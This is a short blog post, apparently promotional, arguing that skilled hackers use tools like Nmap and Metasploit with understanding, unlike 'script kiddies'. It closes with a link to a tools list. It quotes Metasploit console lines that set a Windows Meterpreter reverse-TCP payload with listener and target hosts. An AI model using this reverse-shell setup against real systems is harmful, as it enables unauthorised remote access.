Every hacker has to use some hacking tools at some point. The hacker can be a professional white-hat hacker, black hat or gray hat hacker. Some people may say that a real hacker does not use any Hacking tools, who use the tools coded by others is a script kiddie. I will say this is their misconception. An operating system is also a software or tool for a hacker. If the hacker does not have a target software, then he has nothing to hack.
The bad idea is Without understanding what the tool is doing for him, or he can't do anything without a supper automated hacking software. This is not done by a professional hacker.
A hacker does not need to create a new Nmap to prove him as a real hacker. Because there is another Nmap already exist and ready to use.
Metasploit is widely used by professional hackers. Newbie hackers also install and try to use Metasploit-framework.
Professional one knows Metasploit is a bundle of Ruby scripts. If for any reason any script not able to exploit an overflow vulnerability as expected, then he is able to test it locally to find out where is the problem and rewrite the script if required.
Another person who does not have enough hacking skills, starting hacking using hacking tools for a short time, only will use a few commands such as:
SET PAYLOAD windows/meterpreter/reverse_tcp
SET LHOST 192.168.1.10
SET LPORT port_number_without_forwarding
SET RHOST target_address.com
When exploitation will be failed, he'll say Metasploit doesn't work. This is the difference between professional and script kiddies.
Here is the list of TOP 9 hacking tools used by professional hackers: https://hackerforces.com/9-hacking-tools-for-professional-hackers/